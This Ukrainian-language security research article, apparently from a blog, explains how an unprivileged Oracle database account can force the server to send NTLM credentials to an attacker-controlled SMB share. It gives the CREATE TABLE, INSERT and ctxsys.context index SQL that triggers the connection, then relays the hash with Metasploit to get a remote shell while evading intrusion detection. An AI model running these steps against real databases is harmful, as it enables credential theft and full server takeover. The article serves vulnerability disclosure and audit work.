Отримання доступу до ОС, використовуючи непривілейованих обліковий запис в СУБД Oracle, Інші СУБД, Бази даних, статті

Автор: Олександр Поляков, Digitаl Security Research Group (DSecRG)

Вступ

Одного разу в ході аудиту черговий корпоративної мережі я отримав непривілейованих обліковий запис в СУБД Oracle і мені був необхідний доступ до командного рядка сервера, на якій встановлена ​​ця СУБД. Ситуація стандартна – запускаємо будь експлоїт, що підвищує привілеї, а далі, отримавши права DBA, можемо отримати доступ до ОС безліччю різних способів таких як EXTProc, Java, Ext Job та інші [1].

Але тут я задумався, а що якщо в СУБД, будуть встановлені останні критичні оновлення, та ще й буде встановлена ​​спеціалізована система виявлення і запобігання вторгнень, реагує на невідомі уразливості. В такому випадку підвищити привілеї за допомогою чергової SQL-ін’єкції та отримати доступ до командного рядка ОС так просто не вийде. Безумовно, є й інші способи підвищення привілеїв: пошукати паролі в базі даних, під’єднатися до tnslistener зсередини, переписати лог-файл командами і помістити його в автозавантаження або, нарешті, вивчити набір привілеїв, даних користувачеві, можливо, там є що-небудь на кшталт “SELECT ANY DICTIONARY”. Загалом, способи є, але надто вже у них багато різних “якщо”, але ж має ж бути щось просте і універсальне.


Отже, перед нами завдання – отримати командний рядок на сервері, маючи мінімальні права в СУБД Oracle, Встановленої на цьому сервері і не користуючись відомими уразливими підвищує привілеї.


Трохи про Pass The Hash


Це загальновідомий факт, що ОС Windows дозволяє аутентифицироваться з використанням протоколу NTLM, використовуючи тільки хеш пароля. І, швидше за все, ви користувалися утилітами начебто msvctl, pass the hash toolkit, PtH-pwner та іншими улюбленими аудиторами утилітами, що дозволяють отримавши один єдиний (якщо пощастить) LM / NTLM-хеш облікового запису, в лічені секунди отримати доступ до всього домену [2]. Це все, звичайно, чудово, але тільки як отримати цей заповітний хеш – ось в чому питання.


Для того щоб отримати хеш облікового запису, від якої запущена СУБД, є два шляхи. Перший – отримати адміністративний доступ до ОС і витягнути хеш з локального сховища LSA. Цей шлях ми відразу відкидаємо, так як адміністративний доступ в ОС це і є наша мета. Другий – це змусити СУБД Oracle ініціювати NTLM challengeresponse аутентифікацію на підконтрольний нами SMB-сервер, тим самим отримати хеш користувача, від імені якого запущена СУБД.


Підключення до віддаленого SMB-серверу


Для того щоб організувати цю ідею технічно, необхідно знайти спосіб, як через СУБД здійснювати доступ до мережевих файлів. Способів таких багато (див. таблицю), але, на жаль, практично всі вони потребують високих привілеїв, маючи які, ми і так можемо отримати командний рядок на сервері.


 



























Назва методу


Необхідні привілеї


ExtProc


CREATE ANY LABRARY


Java


JAVAADMIN


JOB Scheduler


CREATE EXTERNAL JOB


Change PLSQL compiler


ALTER SYSEM


UTL_FILE


CREATE ANY DIRECTORY


DBMS_JOB


CREATE ANY DIRECTORY


DBMS_ADVISOR


CREATE ANY DIRECTORY


Залишається тільки один варіант – читання файлів через ctxsys.context індекси (Oracle TEXT). Даний спосіб був представлений Олександром Корнбрустом (Alexander Kornbrust) у своєму блозі в якості одного із способів читання локальних файлів. В описі було заявлено, що для реалізації цього методу користувачу потрібно роль CTXAPP, що вже цікавіше.


Як виявилося в ході моїх досліджень, дана роль не обов’язкова для створення індексу та читання файлів. Про це написано в керівництві розробника “Oracle Text Application Developer” s Guide 10g Release 2″.


Крім того, даний факт був підтверджений на практиці в результаті перевірки на СУБД Oracle 10g R2. Це вже непогано, оскільки виходить, що, маючи права звичайного користувача в СУБД, ми можемо читати будь-які файли, але хочеться більшого.


В ході досліджень виявилося, що, використовуючи даний метод, можна отримувати доступ не тільки до локальних, але й до мережевих файлів, а, отже, таким чином ми зможемо ініціювати NTLM challenge-response аутентифікацію.


Як підсумок, ми отримуємо можливість перехоплення NTLM challenge-response аутентифікації (а також можливо і отримання віддаленого доступу до командного рядка), маючи обліковий запис в СУБД Oracle, що володіє тільки стандартними ролями CONNECT і RESOURCE, які присутні практично у будь-якого користувача.


Технічна реалізація


Для того щоб отримати доступ до мережного файлу, спершу необхідно створити допоміжну таблицю.


SQL>  CREATE  TABLE  files  (id  NUMBER  PRIMARY  KEY,  path  VARCHAR(255)  UNIQUE, ot_format  VARCHAR(6));


Після чого, поміщаємо в таблицю шлях до мережевої папці, де у нас встановлений SMB сервер.


INSERT  INTO  files  VALUES  (1,  “172.16.1.3SHARE”,  NULL);


І, нарешті, створюємо індекс типу ctxsys.context на стовпець, в якому записаний шлях до файлу.


CREATE  INDEX  file_index  ON  files(path)  INDEXTYPE  IS  ctxsys.context PARAMETERS  (“datastore  ctxsys.file_datastore  format  column  ot_format”);


При створенні індексу СУБД ініціалізує мережеве з’єднання за адресою 172.16.1.3SHARE і спробує аутентифицироваться від імені користувача, з правами якого запущена СУБД.


Якщо попередньо встановити підроблений SMB-сервер за адресою 172.16.1.3, то ми отримаємо HALFLM-хеш пароля. [5] А якщо враховувати, що challenge ми вказуємо самостійно, то розшифрувати пароль не важко, в цьому нам можуть допомогти Raibow-таблиці. Після розшифровки пароля ми отримаємо доступ на сервері, чого і домагалися.


Але це ще не все. Розшифрувати пароль можливо не завжди, але це й не обов’язково. Якщо скористатися утилітою SMB-relay вбудованої в Metasploit, то ми зможемо ініціалізувати зворотне підключення до сервера, використовуючи перехоплену аутентифікацію, і тим самим, отримати командний рядок на сервері, навіть не розшифровуючи пароль.


Автоматизація атаки. Модуль ora_ntlm_stealer для Metasploit


Для зручності проведення атаки був створений модуль ora_ntlm_stealer для Metasploit, який здійснює дану атаку. Для її реалізації необхідно спочатку запустити модуль smb_relay з набору Metasploit.

Модуль smb_relay з набору Metasploit


Після чого запускаємо модуль ora_ntlm_stealer і прописуємо йому як параметр IP-адреса SMB-сервера, де ми запустили smb_relay. Після чого запускаємо модуль і отримуємо на виході вихідний код процедури, яку треба запустити в СУБД.

Процес роботи модуля ora_ntlm_stealer


Після того, як код згенерований, ми підключаємося до СУБД за допомогою будь-який з доступних нам облікових записів, наприклад, SCOTT або DBSNMP, перевіряємо, що у нас немає ніяких привілеїв окрім як CONNECT і RESOURCE і запускаємо експлоїт.

Підключення до СУБД і запуск експлоііта


Після того, як експлоїт спрацює, ми зможемо побачити в консолі модуля smb_relay, як хтось з IP-адресою 172.16.0.113 намагався підключитися до SMB-сервера. З’єднання було запущено від імені користувача Administrator, під яким функціонує СУБД.

Результат атаки – отримано доступ до командного рядка


Таким чином, ми, по-перше, отримали хеш облікового запису Administrator, яка має адміністративні права в системі, а по-друге, отримали командний рядок на сервері, де встановлена ​​СУБД Oracle.


Перехоплення HTTP NTLM


Є ще один спосіб отримання доступу до ОС – перехоплення NTLM HTTP аутентифікації. [8] Правда в цьому випадку нам доведеться потрудитися над розшифровкою хешей паролів, так як в тому вигляді, в якому вони нам будуть представлені під час перехоплення NTLM HTTP аутентифікації, їх не можна буде використовувати для звичайної NTLM аутентифікації і отримання віддаленого доступу. Цей спосіб реалізується утилітою squirtle [9], яка запускає підконтрольний веб-сервер і змушує кожного підключився клієнта ініціалізувати HTTP NTLM аутентифікацію c відомим заздалегідь випадковим значенням “nonce”, що дозволяє розшифрувати в підсумку пароль клієнта, використовуючи заздалегідь розраховані Rainbow-таблиці. Для того щоб реалізувати дану атаку можна підключитися до веб-серверу з консолі СУБД Oracle, використовуючи такі пакети як utl_http або HTTPUriType.


Невидимість для систем виявлення та інших захисних механізмів


Ще одним плюсом цього методу є те, що він не виявляється системами виявлення вторгнень, оскільки використовує мало поширений спосіб отримання доступу до ОС. Написаний модуль для Metasploit дає ще додатковий захист від виявлення, так як використовує методи маскування шкідливого коду.


Даний метод отримання доступу до ОС був випробуваний на популярній системі захисту для СУБД Oracle – Sentrigo Hedgehog і дав позитивний результат [10]. Ніяких записів про можливі спроби атаки виявлено не було, тим не менш, віддалений доступ до командного рядка сервера був отриманий.


Висновок


У цьому документі був представлений один із способів отримання доступу до ОС через СУБД Oracle. Його безперечними плюсами є необхідність наявності тільки лише непривілейованої облікового запису в СУБД Oracle (як правило, згідно з різними статистичними дослідженнями, близько 95% СУБД мають передвстановлені облікові записи зі стандартними паролями або облікові записи зі словниковими паролями), а також невидимість (на момент публікації) для популярних систем виявлення вторгнень.

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*